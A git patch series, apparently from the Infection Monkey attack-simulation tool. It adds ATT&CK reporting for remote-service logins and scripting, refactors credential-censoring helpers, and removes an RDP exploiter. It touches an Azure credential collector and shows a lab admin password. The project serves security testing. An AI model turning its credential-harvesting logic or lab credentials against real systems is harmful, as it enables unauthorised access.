From 493de5b8ea904b49c45a285d3398614986f4e463 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 19 Jul 2019 15:52:14 +0300 Subject: [PATCH 01/13] Implemented remote services attack technique --- .../cc/services/attack/attack_report.py | 5 +- .../cc/services/attack/attack_schema.py | 11 +++- .../attack/technique_reports/T1021.py | 54 +++++++++++++++++++ .../src/components/attack/techniques/T1021.js | 44 +++++++++++++++ .../report-components/AttackReport.js | 4 +- 5 files changed, 114 insertions(+), 4 deletions(-) create mode 100644 monkey/monkey_island/cc/services/attack/technique_reports/T1021.py create mode 100644 monkey/monkey_island/cc/ui/src/components/attack/techniques/T1021.js diff --git a/monkey/monkey_island/cc/services/attack/attack_report.py b/monkey/monkey_island/cc/services/attack/attack_report.py index a03e6a512..32e6c3a39 100644 --- a/monkey/monkey_island/cc/services/attack/attack_report.py +++ b/monkey/monkey_island/cc/services/attack/attack_report.py @@ -3,7 +3,7 @@ import logging from monkey_island.cc.models import Monkey from monkey_island.cc.services.attack.technique_reports import T1210, T1197, T1110, T1075, T1003, T1059, T1086, T1082 from monkey_island.cc.services.attack.technique_reports import T1145, T1105, T1065, T1035, T1129, T1106, T1107, T1188 -from monkey_island.cc.services.attack.technique_reports import T1090, T1041, T1222, T1005, T1018, T1016 +from monkey_island.cc.services.attack.technique_reports import T1090, T1041, T1222, T1005, T1018, T1016, T1021 from monkey_island.cc.services.attack.attack_config import AttackConfig from monkey_island.cc.database import mongo @@ -33,7 +33,8 @@ TECHNIQUES = {'T1210': T1210.T1210, 'T1222': T1222.T1222, 'T1005': T1005.T1005, 'T1018': T1018.T1018, - 'T1016': T1016.T1016} + 'T1016': T1016.T1016, + 'T1021': T1021.T1021} REPORT_NAME = 'new_report' diff --git a/monkey/monkey_island/cc/services/attack/attack_schema.py b/monkey/monkey_island/cc/services/attack/attack_schema.py index 9d396dc26..2335f005c 100644 --- a/monkey/monkey_island/cc/services/attack/attack_schema.py +++ b/monkey/monkey_island/cc/services/attack/attack_schema.py @@ -48,6 +48,15 @@ SCHEMA = { "necessary": True, "description": "Files may be copied from one system to another to stage " "adversary tools or other files over the course of an operation." + }, + "T1021": { + "title": "T1021 Remote services", + "type": "bool", + "value": True, + "necessary": False, + "depends_on": ["T1110"], + "description": "An adversary may use Valid Accounts to log into a service" + " specifically designed to accept remote connections." } } }, @@ -62,7 +71,7 @@ SCHEMA = { "necessary": False, "description": "Adversaries may use brute force techniques to attempt access to accounts " "when passwords are unknown or when password hashes are obtained.", - "depends_on": ["T1210"] + "depends_on": ["T1210", "T1021"] }, "T1003": { "title": "T1003 Credential dumping", diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1021.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1021.py new file mode 100644 index 000000000..6f69f39ab --- /dev/null +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1021.py @@ -0,0 +1,54 @@ +from monkey_island.cc.database import mongo +from monkey_island.cc.services.attack.technique_reports import AttackTechnique +from common.utils.attack_utils import ScanStatus +from monkey_island.cc.services.attack.technique_reports.T1110 import T1110 + +__author__ = "VakarisZ" + + +class T1021(AttackTechnique): + tech_id = "T1021" + unscanned_msg = "Monkey didn't try to login to any remote services." + scanned_msg = "Monkey tried to login to remote services with valid credentials, but failed." + used_msg = "Monkey successfully logged into remote services on the network." + + # Gets data about brute force attempts + query = [{'$match': {'telem_category': 'exploit', + 'data.attempts': {'$not': {'$size': 0}}}}, + {'$project': {'_id': 0, + 'machine': '$data.machine', + 'info': '$data.info', + 'attempt_cnt': {'$size': '$data.attempts'}, + 'attempts': {'$filter': {'input': '$data.attempts', + 'as': 'attempt', + 'cond': {'$and': [{'$eq': ['$$attempt.result', True]}, + {'$or': [{'$ne': ['$$attempt.password', '']}, + {'$ne': ['$$attempt.ssh_key', '']}]}] + } + } + } + } + }] + + scanned_query = {'telem_category': 'exploit', + 'data.attempts': {'$elemMatch': {'$or': [{'password': {'$ne': ''}}, + {'ssh_key': {'$ne': ''}}]}}} + + @staticmethod + def get_report_data(): + attempts = [] + if mongo.db.telemetry.count_documents(T1021.scanned_query): + attempts = list(mongo.db.telemetry.aggregate(T1021.query)) + if attempts: + status = ScanStatus.USED.value + for result in attempts: + result['successful_creds'] = [] + for attempt in result['attempts']: + result['successful_creds'].append(T1110.parse_creds(attempt)) + else: + status = ScanStatus.SCANNED.value + else: + status = ScanStatus.UNSCANNED.value + data = T1021.get_base_data_by_status(status) + data.update({'services': attempts}) + return data diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1021.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1021.js new file mode 100644 index 000000000..edfba66a9 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1021.js @@ -0,0 +1,44 @@ +import React from 'react'; +import '../../../styles/Collapse.scss' +import ReactTable from "react-table"; +import { renderMachine, scanStatus } from "./Helpers" + + +class T1021 extends React.Component { + + constructor(props) { + super(props); + } + + static getServiceColumns() { + return ([{ + columns: [ + {Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine), + style: { 'whiteSpace': 'unset' }, width: 160}, + {Header: 'Service', id: 'service', accessor: x => x.info.display_name, style: { 'whiteSpace': 'unset' }, width: 100}, + {Header: 'Valid account used', id: 'credentials', accessor: x => this.renderCreds(x.successful_creds), style: { 'whiteSpace': 'unset' }}, + ] + }])}; + + static renderCreds(creds) { + return {creds.map(cred =>
{cred}
)}
+ }; + + render() { + return ( +
+
{this.props.data.message}
+
+ {this.props.data.status === scanStatus.USED ? + : ""} +
+ ); + } +} + +export default T1021; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js index 3d565c3a0..86fce36e5 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js @@ -28,6 +28,7 @@ import T1222 from "../attack/techniques/T1222"; import T1005 from "../attack/techniques/T1005"; import T1018 from "../attack/techniques/T1018"; import T1016 from "../attack/techniques/T1016"; +import T1021 from "../attack/techniques/T1021"; const tech_components = { 'T1210': T1210, @@ -51,7 +52,8 @@ const tech_components = { 'T1222': T1222, 'T1005': T1005, 'T1018': T1018, - 'T1016': T1016 + 'T1016': T1016, + 'T1021': T1021 }; const classNames = require('classnames'); From fe6a653f79b73bb171a490bc743a03f7da0918c6 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 22 Jul 2019 12:13:54 +0300 Subject: [PATCH 02/13] Implemented scripting attack technique --- monkey/infection_monkey/post_breach/pba.py | 7 +++-- .../system_info/azure_cred_collector.py | 3 ++ .../telemetry/attack/t1064_telem.py | 11 +++++++ .../cc/services/attack/attack_report.py | 6 ++-- .../cc/services/attack/attack_schema.py | 8 +++++ .../attack/technique_reports/T1064.py | 16 ++++++++++ .../src/components/attack/techniques/T1064.js | 30 +++++++++++++++++++ .../report-components/AttackReport.js | 4 ++- 8 files changed, 80 insertions(+), 5 deletions(-) create mode 100644 monkey/infection_monkey/telemetry/attack/t1064_telem.py create mode 100644 monkey/monkey_island/cc/services/attack/technique_reports/T1064.py create mode 100644 monkey/monkey_island/cc/ui/src/components/attack/techniques/T1064.js diff --git a/monkey/infection_monkey/post_breach/pba.py b/monkey/infection_monkey/post_breach/pba.py index 3fb8b251f..123214db9 100644 --- a/monkey/infection_monkey/post_breach/pba.py +++ b/monkey/infection_monkey/post_breach/pba.py @@ -1,10 +1,11 @@ import logging import subprocess -import socket -from infection_monkey.control import ControlClient + +from common.utils.attack_utils import ScanStatus from infection_monkey.telemetry.post_breach_telem import PostBreachTelem from infection_monkey.utils import is_windows_os from infection_monkey.config import WormConfiguration +from infection_monkey.telemetry.attack.t1064_telem import T1064Telem LOG = logging.getLogger(__name__) @@ -46,6 +47,8 @@ class PBA(object): """ exec_funct = self._execute_default result = exec_funct() + if result[1] and isinstance(self.command, list) and len(self.command) > 1: + T1064Telem(ScanStatus.USED, "Scripts used to execute %s post breach action." % self.name).send() PostBreachTelem(self, result).send() def _execute_default(self): diff --git a/monkey/infection_monkey/system_info/azure_cred_collector.py b/monkey/infection_monkey/system_info/azure_cred_collector.py index 80d9f064f..90626922d 100644 --- a/monkey/infection_monkey/system_info/azure_cred_collector.py +++ b/monkey/infection_monkey/system_info/azure_cred_collector.py @@ -7,6 +7,7 @@ import subprocess from common.utils.attack_utils import ScanStatus from infection_monkey.telemetry.attack.t1005_telem import T1005Telem +from infection_monkey.telemetry.attack.t1064_telem import T1064Telem __author__ = 'danielg' @@ -58,6 +59,7 @@ class AzureCollector(object): decrypt_raw = decrypt_proc.communicate(input=b64_result)[0] decrypt_data = json.loads(decrypt_raw) T1005Telem(ScanStatus.USED, 'Azure credentials', "Path: %s" % filepath).send() + T1064Telem(ScanStatus.USED, 'Bash scripts used to extract azure credentials.').send() return decrypt_data['username'], decrypt_data['password'] except IOError: LOG.warning("Failed to parse VM Access plugin file. Could not open file") @@ -97,6 +99,7 @@ class AzureCollector(object): password_raw = ps_out.split('\n')[-2].split(">")[1].split("$utf8content")[1] password = json.loads(password_raw)["Password"] T1005Telem(ScanStatus.USED, 'Azure credentials', "Path: %s" % filepath).send() + T1064Telem(ScanStatus.USED, 'Powershell scripts used to extract azure credentials.').send() return username, password except IOError: LOG.warning("Failed to parse VM Access plugin file. Could not open file") diff --git a/monkey/infection_monkey/telemetry/attack/t1064_telem.py b/monkey/infection_monkey/telemetry/attack/t1064_telem.py new file mode 100644 index 000000000..fcb3c0bff --- /dev/null +++ b/monkey/infection_monkey/telemetry/attack/t1064_telem.py @@ -0,0 +1,11 @@ +from infection_monkey.telemetry.attack.usage_telem import UsageTelem + + +class T1064Telem(UsageTelem): + def __init__(self, status, usage): + """ + T1064 telemetry. + :param status: ScanStatus of technique + :param usage: Usage string + """ + super(T1064Telem, self).__init__('T1064', status, usage) diff --git a/monkey/monkey_island/cc/services/attack/attack_report.py b/monkey/monkey_island/cc/services/attack/attack_report.py index 32e6c3a39..c04e6870f 100644 --- a/monkey/monkey_island/cc/services/attack/attack_report.py +++ b/monkey/monkey_island/cc/services/attack/attack_report.py @@ -3,7 +3,7 @@ import logging from monkey_island.cc.models import Monkey from monkey_island.cc.services.attack.technique_reports import T1210, T1197, T1110, T1075, T1003, T1059, T1086, T1082 from monkey_island.cc.services.attack.technique_reports import T1145, T1105, T1065, T1035, T1129, T1106, T1107, T1188 -from monkey_island.cc.services.attack.technique_reports import T1090, T1041, T1222, T1005, T1018, T1016, T1021 +from monkey_island.cc.services.attack.technique_reports import T1090, T1041, T1222, T1005, T1018, T1016, T1021, T1064 from monkey_island.cc.services.attack.attack_config import AttackConfig from monkey_island.cc.database import mongo @@ -34,7 +34,9 @@ TECHNIQUES = {'T1210': T1210.T1210, 'T1005': T1005.T1005, 'T1018': T1018.T1018, 'T1016': T1016.T1016, - 'T1021': T1021.T1021} + 'T1021': T1021.T1021, + 'T1064': T1064.T1064 + } REPORT_NAME = 'new_report' diff --git a/monkey/monkey_island/cc/services/attack/attack_schema.py b/monkey/monkey_island/cc/services/attack/attack_schema.py index 2335f005c..c75678fdc 100644 --- a/monkey/monkey_island/cc/services/attack/attack_schema.py +++ b/monkey/monkey_island/cc/services/attack/attack_schema.py @@ -173,6 +173,14 @@ SCHEMA = { "necessary": True, "description": "Adversaries can use PowerShell to perform a number of actions," " including discovery of information and execution of code.", + }, + "T1064": { + "title": "T1064 Scripting", + "type": "bool", + "value": True, + "necessary": True, + "description": "Adversaries may use scripts to aid in operations and " + "perform multiple actions that would otherwise be manual.", } } }, diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1064.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1064.py new file mode 100644 index 000000000..ef9ce1b80 --- /dev/null +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1064.py @@ -0,0 +1,16 @@ +from monkey_island.cc.services.attack.technique_reports import UsageTechnique + +__author__ = "VakarisZ" + + +class T1064(UsageTechnique): + tech_id = "T1064" + unscanned_msg = "Monkey didn't run scripts." + scanned_msg = "" + used_msg = "Monkey ran scripts on machines in the network." + + @staticmethod + def get_report_data(): + data = T1064.get_tech_base_data() + data.update({'scripts': T1064.get_usage_data()}) + return data diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1064.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1064.js new file mode 100644 index 000000000..f57abd4b8 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1064.js @@ -0,0 +1,30 @@ +import React from 'react'; +import '../../../styles/Collapse.scss' +import ReactTable from "react-table"; +import { getUsageColumns } from "./Helpers" + + +class T1064 extends React.Component { + + constructor(props) { + super(props); + } + + render() { + return ( +
+
{this.props.data.message}
+
+ {this.props.data.scripts.length !== 0 ? + : ""} +
+ ); + } +} + +export default T1064; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js index 86fce36e5..e7e4d7850 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js @@ -29,6 +29,7 @@ import T1005 from "../attack/techniques/T1005"; import T1018 from "../attack/techniques/T1018"; import T1016 from "../attack/techniques/T1016"; import T1021 from "../attack/techniques/T1021"; +import T1064 from "../attack/techniques/T1064"; const tech_components = { 'T1210': T1210, @@ -53,7 +54,8 @@ const tech_components = { 'T1005': T1005, 'T1018': T1018, 'T1016': T1016, - 'T1021': T1021 + 'T1021': T1021, + 'T1064': T1064 }; const classNames = require('classnames'); From 54b38b04b2316930a798ee1fab0c26783b080869 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 20 Aug 2019 17:03:26 +0300 Subject: [PATCH 03/13] Exported common T1021 and T1110 functions to 'technique_report_tools.py' file, fixed 'ScanStatus' usage on front end --- .../attack/technique_reports/T1021.py | 5 +- .../attack/technique_reports/T1110.py | 47 +------------------ .../technique_report_tools.py | 46 ++++++++++++++++++ .../src/components/attack/techniques/T1021.js | 4 +- 4 files changed, 53 insertions(+), 49 deletions(-) create mode 100644 monkey/monkey_island/cc/services/attack/technique_reports/technique_report_tools.py diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1021.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1021.py index 6f69f39ab..2baa7a872 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1021.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1021.py @@ -1,7 +1,8 @@ from monkey_island.cc.database import mongo from monkey_island.cc.services.attack.technique_reports import AttackTechnique from common.utils.attack_utils import ScanStatus -from monkey_island.cc.services.attack.technique_reports.T1110 import T1110 +from monkey_island.cc.services.attack.technique_reports.technique_report_tools import parse_creds + __author__ = "VakarisZ" @@ -44,7 +45,7 @@ class T1021(AttackTechnique): for result in attempts: result['successful_creds'] = [] for attempt in result['attempts']: - result['successful_creds'].append(T1110.parse_creds(attempt)) + result['successful_creds'].append(parse_creds(attempt)) else: status = ScanStatus.SCANNED.value else: diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py index b918de7f4..72bb0af76 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py @@ -1,7 +1,7 @@ from monkey_island.cc.database import mongo from monkey_island.cc.services.attack.technique_reports import AttackTechnique from common.utils.attack_utils import ScanStatus -from monkey_island.cc.encryptor import encryptor +from monkey_island.cc.services.attack.technique_reports.technique_report_tools import parse_creds __author__ = "VakarisZ" @@ -32,7 +32,7 @@ class T1110(AttackTechnique): result['successful_creds'] = [] for attempt in result['attempts']: succeeded = True - result['successful_creds'].append(T1110.parse_creds(attempt)) + result['successful_creds'].append(parse_creds(attempt)) if succeeded: status = ScanStatus.USED.value @@ -47,47 +47,4 @@ class T1110(AttackTechnique): data.update({'services': attempts}) return data - @staticmethod - def parse_creds(attempt): - """ - Parses used credentials into a string - :param attempt: login attempt from database - :return: string with username and used password/hash - """ - username = attempt['user'] - creds = {'lm_hash': {'type': 'LM hash', 'output': T1110.censor_hash(attempt['lm_hash'])}, - 'ntlm_hash': {'type': 'NTLM hash', 'output': T1110.censor_hash(attempt['ntlm_hash'], 20)}, - 'ssh_key': {'type': 'SSH key', 'output': attempt['ssh_key']}, - 'password': {'type': 'Plaintext password', 'output': T1110.censor_password(attempt['password'])}} - for key, cred in creds.items(): - if attempt[key]: - return '%s ; %s : %s' % (username, - cred['type'], - cred['output']) - @staticmethod - def censor_password(password, plain_chars=3, secret_chars=5): - """ - Decrypts and obfuscates password by changing characters to * - :param password: Password or string to obfuscate - :param plain_chars: How many plain-text characters should be kept at the start of the string - :param secret_chars: How many * symbols should be used to hide the remainder of the password - :return: Obfuscated string e.g. Pass**** - """ - if not password: - return "" - password = encryptor.dec(password) - return password[0:plain_chars] + '*' * secret_chars - - @staticmethod - def censor_hash(hash_, plain_chars=5): - """ - Decrypts and obfuscates hash by only showing a part of it - :param hash_: Hash to obfuscate - :param plain_chars: How many chars of hash should be shown - :return: Obfuscated string - """ - if not hash_: - return "" - hash_ = encryptor.dec(hash_) - return hash_[0: plain_chars] + ' ...' diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/technique_report_tools.py b/monkey/monkey_island/cc/services/attack/technique_reports/technique_report_tools.py new file mode 100644 index 000000000..05cef3684 --- /dev/null +++ b/monkey/monkey_island/cc/services/attack/technique_reports/technique_report_tools.py @@ -0,0 +1,46 @@ +from monkey_island.cc.encryptor import encryptor + + +def parse_creds(attempt): + """ + Parses used credentials into a string + :param attempt: login attempt from database + :return: string with username and used password/hash + """ + username = attempt['user'] + creds = {'lm_hash': {'type': 'LM hash', 'output': censor_hash(attempt['lm_hash'])}, + 'ntlm_hash': {'type': 'NTLM hash', 'output': censor_hash(attempt['ntlm_hash'], 20)}, + 'ssh_key': {'type': 'SSH key', 'output': attempt['ssh_key']}, + 'password': {'type': 'Plaintext password', 'output': censor_password(attempt['password'])}} + for key, cred in creds.items(): + if attempt[key]: + return '%s ; %s : %s' % (username, + cred['type'], + cred['output']) + + +def censor_password(password, plain_chars=3, secret_chars=5): + """ + Decrypts and obfuscates password by changing characters to * + :param password: Password or string to obfuscate + :param plain_chars: How many plain-text characters should be kept at the start of the string + :param secret_chars: How many * symbols should be used to hide the remainder of the password + :return: Obfuscated string e.g. Pass**** + """ + if not password: + return "" + password = encryptor.dec(password) + return password[0:plain_chars] + '*' * secret_chars + + +def censor_hash(hash_, plain_chars=5): + """ + Decrypts and obfuscates hash by only showing a part of it + :param hash_: Hash to obfuscate + :param plain_chars: How many chars of hash should be shown + :return: Obfuscated string + """ + if not hash_: + return "" + hash_ = encryptor.dec(hash_) + return hash_[0: plain_chars] + ' ...' diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1021.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1021.js index edfba66a9..ce8688af1 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1021.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1021.js @@ -1,7 +1,7 @@ import React from 'react'; import '../../../styles/Collapse.scss' import ReactTable from "react-table"; -import { renderMachine, scanStatus } from "./Helpers" +import { renderMachine, ScanStatus } from "./Helpers" class T1021 extends React.Component { @@ -29,7 +29,7 @@ class T1021 extends React.Component {
{this.props.data.message}

- {this.props.data.status === scanStatus.USED ? + {this.props.data.status === ScanStatus.USED ? Date: Tue, 20 Aug 2019 18:15:25 +0300 Subject: [PATCH 04/13] Exported UsageTechnique class to separate file, improved documentation. Refactored scripting attack telemetry sending in pba --- monkey/infection_monkey/post_breach/pba.py | 13 ++++- .../attack/technique_reports/T1035.py | 3 +- .../attack/technique_reports/T1064.py | 2 +- .../attack/technique_reports/T1106.py | 2 +- .../attack/technique_reports/T1129.py | 3 +- .../attack/technique_reports/__init__.py | 46 +--------------- .../technique_reports/usage_technique.py | 53 +++++++++++++++++++ 7 files changed, 70 insertions(+), 52 deletions(-) create mode 100644 monkey/monkey_island/cc/services/attack/technique_reports/usage_technique.py diff --git a/monkey/infection_monkey/post_breach/pba.py b/monkey/infection_monkey/post_breach/pba.py index 123214db9..e3eb533ae 100644 --- a/monkey/infection_monkey/post_breach/pba.py +++ b/monkey/infection_monkey/post_breach/pba.py @@ -47,10 +47,21 @@ class PBA(object): """ exec_funct = self._execute_default result = exec_funct() - if result[1] and isinstance(self.command, list) and len(self.command) > 1: + if self.scripts_were_used(result): T1064Telem(ScanStatus.USED, "Scripts used to execute %s post breach action." % self.name).send() PostBreachTelem(self, result).send() + def scripts_were_used(self, pba_execution_result): + """ + Determines if scripts were used to execute PBA + :param pba_execution_result: result of execution function. e.g. self._execute_default + :return: True if scripts were used, False otherwise + """ + pba_execution_succeeded = pba_execution_result[1] + if pba_execution_succeeded and isinstance(self.command, list) and len(self.command) > 1: + return True + return False + def _execute_default(self): """ Default post breach command execution routine diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1035.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1035.py index fcc230be5..2750c953c 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1035.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1035.py @@ -1,5 +1,4 @@ -from monkey_island.cc.database import mongo -from monkey_island.cc.services.attack.technique_reports import UsageTechnique +from monkey_island.cc.services.attack.technique_reports.usage_technique import UsageTechnique __author__ = "VakarisZ" diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1064.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1064.py index ef9ce1b80..9137f99e4 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1064.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1064.py @@ -1,4 +1,4 @@ -from monkey_island.cc.services.attack.technique_reports import UsageTechnique +from monkey_island.cc.services.attack.technique_reports.usage_technique import UsageTechnique __author__ = "VakarisZ" diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1106.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1106.py index b50b19883..d07a66038 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1106.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1106.py @@ -1,4 +1,4 @@ -from monkey_island.cc.services.attack.technique_reports import UsageTechnique +from monkey_island.cc.services.attack.technique_reports.usage_technique import UsageTechnique __author__ = "VakarisZ" diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1129.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1129.py index f1a4d1b83..5f87faabb 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1129.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1129.py @@ -1,5 +1,4 @@ -from monkey_island.cc.database import mongo -from monkey_island.cc.services.attack.technique_reports import UsageTechnique +from monkey_island.cc.services.attack.technique_reports.usage_technique import UsageTechnique __author__ = "VakarisZ" diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py index ec5ee7781..e164e8830 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py @@ -2,7 +2,7 @@ import abc import logging from monkey_island.cc.database import mongo -from common.utils.attack_utils import ScanStatus, UsageEnum +from common.utils.attack_utils import ScanStatus from monkey_island.cc.services.attack.attack_config import AttackConfig from common.utils.code_utils import abstractstatic @@ -115,47 +115,3 @@ class AttackTechnique(object): data = cls.get_message_and_status(status) data.update({'title': cls.technique_title()}) return data - - -class UsageTechnique(AttackTechnique): - __metaclass__ = abc.ABCMeta - - @staticmethod - def parse_usages(usage): - """ - Parses data from database and translates usage enums into strings - :param usage: Usage telemetry that contains fields: {'usage': 'SMB', 'status': 1} - :return: usage string - """ - try: - usage['usage'] = UsageEnum[usage['usage']].value[usage['status']] - except KeyError: - logger.error("Error translating usage enum. into string. " - "Check if usage enum field exists and covers all telem. statuses.") - return usage - - @classmethod - def get_usage_data(cls): - data = list(mongo.db.telemetry.aggregate(cls.get_usage_query())) - return list(map(cls.parse_usages, data)) - - @classmethod - def get_usage_query(cls): - """ - :return: Query that parses attack telems for simple report component - (gets machines and attack technique usage). - """ - return [{'$match': {'telem_category': 'attack', - 'data.technique': cls.tech_id}}, - {'$lookup': {'from': 'monkey', - 'localField': 'monkey_guid', - 'foreignField': 'guid', - 'as': 'monkey'}}, - {'$project': {'monkey': {'$arrayElemAt': ['$monkey', 0]}, - 'status': '$data.status', - 'usage': '$data.usage'}}, - {'$addFields': {'_id': 0, - 'machine': {'hostname': '$monkey.hostname', 'ips': '$monkey.ip_addresses'}, - 'monkey': 0}}, - {'$group': {'_id': {'machine': '$machine', 'status': '$status', 'usage': '$usage'}}}, - {"$replaceRoot": {"newRoot": "$_id"}}] diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/usage_technique.py b/monkey/monkey_island/cc/services/attack/technique_reports/usage_technique.py new file mode 100644 index 000000000..69f178e1c --- /dev/null +++ b/monkey/monkey_island/cc/services/attack/technique_reports/usage_technique.py @@ -0,0 +1,53 @@ +import abc + +from monkey_island.cc.database import mongo +from monkey_island.cc.services.attack.technique_reports import AttackTechnique, logger +from common.utils.attack_utils import UsageEnum + + +class UsageTechnique(AttackTechnique): + __metaclass__ = abc.ABCMeta + + @staticmethod + def parse_usages(usage): + """ + Parses data from database and translates usage enums into strings + :param usage: Usage telemetry that contains fields: {'usage': 'SMB', 'status': 1} + :return: usage string + """ + try: + usage['usage'] = UsageEnum[usage['usage']].value[usage['status']] + except KeyError: + logger.error("Error translating usage enum. into string. " + "Check if usage enum field exists and covers all telem. statuses.") + return usage + + @classmethod + def get_usage_data(cls): + """ + Gets data of usage attack telemetries + :return: parsed list of usages from attack telemetries of usage type + """ + data = list(mongo.db.telemetry.aggregate(cls.get_usage_query())) + return list(map(cls.parse_usages, data)) + + @classmethod + def get_usage_query(cls): + """ + :return: Query that parses attack telemetries for a simple report component + (gets machines and attack technique usage). + """ + return [{'$match': {'telem_category': 'attack', + 'data.technique': cls.tech_id}}, + {'$lookup': {'from': 'monkey', + 'localField': 'monkey_guid', + 'foreignField': 'guid', + 'as': 'monkey'}}, + {'$project': {'monkey': {'$arrayElemAt': ['$monkey', 0]}, + 'status': '$data.status', + 'usage': '$data.usage'}}, + {'$addFields': {'_id': 0, + 'machine': {'hostname': '$monkey.hostname', 'ips': '$monkey.ip_addresses'}, + 'monkey': 0}}, + {'$group': {'_id': {'machine': '$machine', 'status': '$status', 'usage': '$usage'}}}, + {"$replaceRoot": {"newRoot": "$_id"}}] From 3ca2df85e2e8bda3e73deadb2efd702c729068be Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Wed, 21 Aug 2019 09:43:54 +0200 Subject: [PATCH 05/13] Remove all mention of RDP grinder --- README.md | 1 - envs/monkey_zoo/configs/fullTest.conf | 4 - envs/monkey_zoo/docs/fullDocs.md | 10 +- monkey/infection_monkey/config.py | 3 - monkey/infection_monkey/example.conf | 1 - monkey/infection_monkey/exploit/__init__.py | 1 - .../infection_monkey/exploit/elasticgroovy.py | 4 +- monkey/infection_monkey/exploit/rdpgrinder.py | 346 ------------------ monkey/infection_monkey/exploit/web_rce.py | 2 +- monkey/infection_monkey/model/__init__.py | 4 +- .../infection_monkey/requirements_linux.txt | 3 - .../infection_monkey/requirements_windows.txt | 3 - .../cc/resources/aws_exporter.py | 15 - .../cc/services/config_schema.py | 21 -- monkey/monkey_island/cc/services/report.py | 8 - .../cc/ui/src/components/pages/ReportPage.js | 19 - 16 files changed, 7 insertions(+), 438 deletions(-) delete mode 100644 monkey/infection_monkey/exploit/rdpgrinder.py diff --git a/README.md b/README.md index 6ab6813ce..67b5b2e8b 100644 --- a/README.md +++ b/README.md @@ -30,7 +30,6 @@ The Infection Monkey uses the following techniques and exploits to propagate to * Multiple exploit methods: * SSH * SMB - * RDP * WMI * Shellshock * Conficker diff --git a/envs/monkey_zoo/configs/fullTest.conf b/envs/monkey_zoo/configs/fullTest.conf index 8ffa668ef..d90d84ca4 100644 --- a/envs/monkey_zoo/configs/fullTest.conf +++ b/envs/monkey_zoo/configs/fullTest.conf @@ -62,7 +62,6 @@ "exploiter_classes": [ "SmbExploiter", "WmiExploiter", - "RdpExploiter", "ShellShockExploiter", "SambaCryExploiter", "ElasticGroovyExploiter", @@ -79,9 +78,6 @@ "remote_user_pass": "Password1!", "user_to_add": "Monkey_IUSER_SUPPORT" }, - "rdp_grinder": { - "rdp_use_vbs_download": true - }, "sambacry": { "sambacry_folder_paths_to_guess": [ "/", diff --git a/envs/monkey_zoo/docs/fullDocs.md b/envs/monkey_zoo/docs/fullDocs.md index 217a22b23..b792b16f4 100644 --- a/envs/monkey_zoo/docs/fullDocs.md +++ b/envs/monkey_zoo/docs/fullDocs.md @@ -606,20 +606,16 @@ fullTest.conf is a good config to start, because it covers all machines. 2}p}aR]&=M -Scan results: -Machine exploited using RDP grinder - - Server’s config:

Remote desktop enabled

Admin user’s credentials:

m0nk3y, 2}p}aR]&=M

- + Notes: - + @@ -649,7 +645,7 @@ fullTest.conf is a good config to start, because it covers all machines. Server’s config: -

Has cashed mimikatz-15 RDP credentials

+

Has cached mimikatz-15 RDP credentials

SMB turned on

